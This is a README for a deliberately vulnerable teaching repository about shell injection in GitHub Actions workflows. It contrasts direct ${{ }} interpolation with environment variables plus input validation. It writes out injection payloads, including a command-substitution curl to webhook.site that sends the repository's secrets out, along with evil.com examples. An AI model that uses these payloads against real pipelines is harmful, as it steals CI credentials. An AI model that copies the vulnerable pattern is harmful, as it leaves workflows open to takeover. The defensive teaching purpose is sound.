This repository demonstrates a real and exploitable GitHub Actions security vulnerability: Shell Injection via untrusted inputs.
This repository contains intentionally vulnerable code for educational purposes. DO NOT use these patterns in production!
GitHub Actions allows workflows to be triggered with user-provided inputs (workflow_dispatch). When these inputs are used directly in run: steps with the ${{ }} syntax, they can inject arbitrary shell commands.
# Pattern 1: Direct interpolation (VULNERABLE)
run: git checkout -b "update-${{ inputs.package_name }}"
# Pattern 2: Using env vars (SAFER - GitHub's official recommendation)
run: git checkout -b "update-${PACKAGE_NAME}"
env:
PACKAGE_NAME: ${{ inputs.package_name }}Direct ${{ }} interpolation:
- GitHub Actions evaluates expressions at workflow generation time
- The value becomes part of the shell script itself
- Command injection succeeds because the shell interprets special characters
Environment variables (env:):
- GitHub Actions sets the variable before script execution
- The value is stored in memory as data, not script
- The shell treats it as a string, preventing most injection attacks
Source: GitHub Docs - Security Hardening for GitHub Actions
After testing and reviewing GitHub's official documentation:
- GitHub officially recommends using environment variables as a security control
- It does prevent direct command injection in most cases
- But it's not sufficient alone - input validation is still required
Best practice (from GitHub):
# Step 1: Validate input
- name: Validate Package Name
run: |
if ! echo "$PACKAGE_NAME" | grep -qE '^@?[a-zA-Z0-9_-]+(/[a-zA-Z0-9_-]+)?$'; then
echo "Invalid package name"
exit 1
fi
env:
PACKAGE_NAME: ${{ inputs.package_name }}
# Step 2: Use validated input safely
- name: Install Package
run: npm install "$PACKAGE_NAME"
env:
PACKAGE_NAME: ${{ inputs.package_name }}Why both?
- Environment variables prevent script generation attacks
- Input validation rejects malicious patterns before any processing
- Defense-in-depth: multiple layers of security
This repository contains two workflows that demonstrate the security difference:
Demonstrates three distinct attack scenarios:
Pattern 1: Untrusted GitHub Context - Shows that github.actor and other GitHub context variables are untrusted
Pattern 2: Command Injection (No Secrets) - Proves direct interpolation allows arbitrary command execution
Pattern 3: Secret Exfiltration - Demonstrates actual secret theft when secrets are in env: but input uses direct interpolation
Uses both environment variables and input validation. This demonstrates the complete defense-in-depth approach recommended by GitHub.
The workflows use GitHub repository secrets for demonstration purposes. Set these up:
- Go to Settings → Secrets and variables → Actions
- Click New repository secret
- Add two secrets:
Secret 1:
- Name:
DEMO_SECRET - Value:
super-secret-api-key-12345
Secret 2:
- Name:
DEMO_AWS_KEY - Value:
AKIAIOSFODNN7EXAMPLE
These are fake secrets for demonstration only. The workflows will use them to show how secrets can be exfiltrated.
- GitHub secrets configured (see Setup section above)
- A webhook URL from https://webhook.site for testing
- Access to this repository's Actions tab
Workflow: vulnerable.yml
Package name:
$(curl "https://webhook.site/YOUR-WEBHOOK-ID?token=$API_TOKEN&aws=$AWS_KEY")
Package version:
1.0.0
Expected result:
- ✅ Command executes in Pattern 3 (you'll see curl progress in logs)
- ✅ Webhook receives request with both secrets:
tokenandawsparameters - ✅ Proves secrets in
env:can be exfiltrated via direct interpolation
Important: URL must be quoted ("URL") to prevent & from being interpreted as a background operator. Without quotes, only the first parameter is sent and aws=$AWS_KEY runs as a background job.
Workflow: secure.yml
Package name:
$(curl https://webhook.site/YOUR-WEBHOOK-ID?blocked=true)
Package version:
1.0.0
Expected result:
- ❌ Workflow fails at validation step
- ❌ No commands execute
- ❌ No webhook request
- ✅ Malicious input rejected before any processing
Workflow: secure.yml
Package name:
@prefect/ui-library
Package version:
2.1.3
Expected result:
- ✅ Validation passes
- ✅ Workflow completes successfully
- ✅ Legitimate use case works as expected
run: git checkout -b "update-${{ inputs.package_name }}"With input: $(curl evil.com)
GitHub evaluates to:
git checkout -b "update-$(curl evil.com)"Shell sees command substitution and executes: curl evil.com
run: git checkout -b "update-${PACKAGE_NAME}"
env:
PACKAGE_NAME: ${{ inputs.package_name }}With input: $(curl evil.com)
GitHub sets: PACKAGE_NAME=$(curl evil.com) (as a literal string)
Shell expands: Variable value is already set, treats it as string data
Result: Git receives the literal string $(curl evil.com) as the branch name, which it rejects as invalid. No command execution.
From GitHub's documentation:
"The value of the expression is stored in memory and used as a variable, and doesn't interact with the script generation process."
Even with environment variables:
- Variable expansion leaks - Input like
leaked-${DEMO_SECRET}may expose secrets in error messages - Downstream processing - Other tools might interpret the input differently
- Defense-in-depth - Multiple security layers are always better
- Explicit rejection - Invalid input should fail fast with clear error messages
| Approach | Direct ${{}} |
Env Vars Only | Env Vars + Validation |
|---|---|---|---|
| Command injection | ❌ Vulnerable | ✅ Protected | ✅ Protected |
| Input validation | ❌ None | ❌ None | ✅ Enforced |
| Secret leaks | ✅ Minimal risk | ||
| Clear error messages | ❌ No | ❌ No | ✅ Yes |
| Security Rating | 🔴 Vulnerable | 🟡 Improved | 🟢 Secure |
This vulnerability allows attackers to:
- Steal secrets - Access
GITHUB_TOKEN, AWS keys, API tokens - Push malicious code - Use stolen tokens to commit backdoors
- Access private repositories - Clone and exfiltrate source code
- Compromise CI/CD pipeline - Poison build artifacts
- Lateral movement - Use stolen credentials for further attacks
This is a CRITICAL security issue when using direct interpolation.
A particularly dangerous pattern is using ${{ secrets.SECRET }} directly in run: commands:
# EXTREMELY VULNERABLE - DO NOT DO THIS
- name: Deploy
run: |
curl -X POST "https://api.example.com/deploy" \
-H "Authorization: Bearer ${{ secrets.API_KEY }}" \
-d "region=${{ inputs.region }}"Why this is worse:
- The secret is expanded at workflow generation time (same as inputs)
- An attacker can inject code that references the secret directly:
${{ secrets.API_KEY }} - Both the untrusted input AND the secret become part of the shell script
- Attack example:
region=us-east-1&leaked_token=${{ secrets.API_KEY }}
The safe pattern:
# SAFER - Use env: block for BOTH inputs AND secrets
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
REGION: ${{ inputs.region }}
run: |
# Validate REGION first
curl -X POST "https://api.example.com/deploy" \
-H "Authorization: Bearer $API_KEY" \
-d "region=$REGION"Follow GitHub's official recommendation to prevent script generation attacks:
env:
PACKAGE_NAME: ${{ inputs.package_name }}
run: npm install "$PACKAGE_NAME"Whitelist allowed characters and formats:
- name: Validate Input
run: |
if ! echo "$PACKAGE_NAME" | grep -qE '^@?[a-zA-Z0-9_-]+(/[a-zA-Z0-9_-]+)?$'; then
echo "❌ Invalid package name: $PACKAGE_NAME"
exit 1
fi
env:
PACKAGE_NAME: ${{ inputs.package_name }}- name: Validate Package Name
run: |
if ! echo "$PKG" | grep -qE '^@?[a-zA-Z0-9_-]+(/[a-zA-Z0-9_-]+)?$'; then
echo "❌ Invalid package name"
exit 1
fi
env:
PKG: ${{ inputs.package_name }}
- name: Install Package (Safe)
run: npm install "$PKG"
env:
PKG: ${{ inputs.package_name }}Avoid shell entirely by using JavaScript:
- uses: actions/github-script@v7
with:
script: |
const { exec } = require('@actions/exec');
await exec.exec('npm', ['install', context.payload.inputs.package_name]);Why it's secure: Arguments passed as array, no shell interpretation.
Only allow trusted users to trigger workflows:
- Use branch protection rules
- Require CODEOWNERS approval
- Don't expose
workflow_dispatchto untrusted contributors
- Environment variables - GitHub's official security recommendation
- Input validation - Whitelist allowed patterns
- Both together - Defense-in-depth approach
- Safe APIs - Use
actions/github-scriptwhen possible
- Direct interpolation alone - Highly vulnerable
- Using secrets directly in
run:commands - Extremely dangerous with untrusted input - Trusting user input - Always validate
- Relying on one control - Use multiple security layers
- Direct
${{ }}interpolation is vulnerable ❌ - Using
${{ secrets.* }}directly inrun:is extremely dangerous ❌❌ - Environment variables provide documented protection ✅
- Input validation is still required ✅
- Use env: for BOTH inputs AND secrets ✅✅
Run each test case and verify results:
- Test 1: Direct interpolation (
vulnerable.yml) → Secret exfiltrated ❌ - Test 2: Complete fix (
secure.yml) + malicious input → Input rejected ✅ - Test 3: Complete fix (
secure.yml) + valid input → Workflow succeeds ✅
- GitHub Docs: Security Hardening for GitHub Actions
- GitHub Docs: Secure Use Reference
- OWASP: Command Injection
Q: Is direct interpolation always vulnerable?
A: Yes, when using untrusted input with ${{ }} syntax directly in run: steps.
Q: Do environment variables completely fix the issue? A: They provide significant protection but input validation is still required for complete security.
Q: Why do some SAST tools say environment variables don't help? A: Some tools may have outdated guidance. GitHub's official documentation confirms environment variables are a recommended security control.
Q: Should I use both environment variables AND validation? A: Yes! Defense-in-depth is always the best approach.
MIT - Use this for educational purposes. Always follow security best practices in production!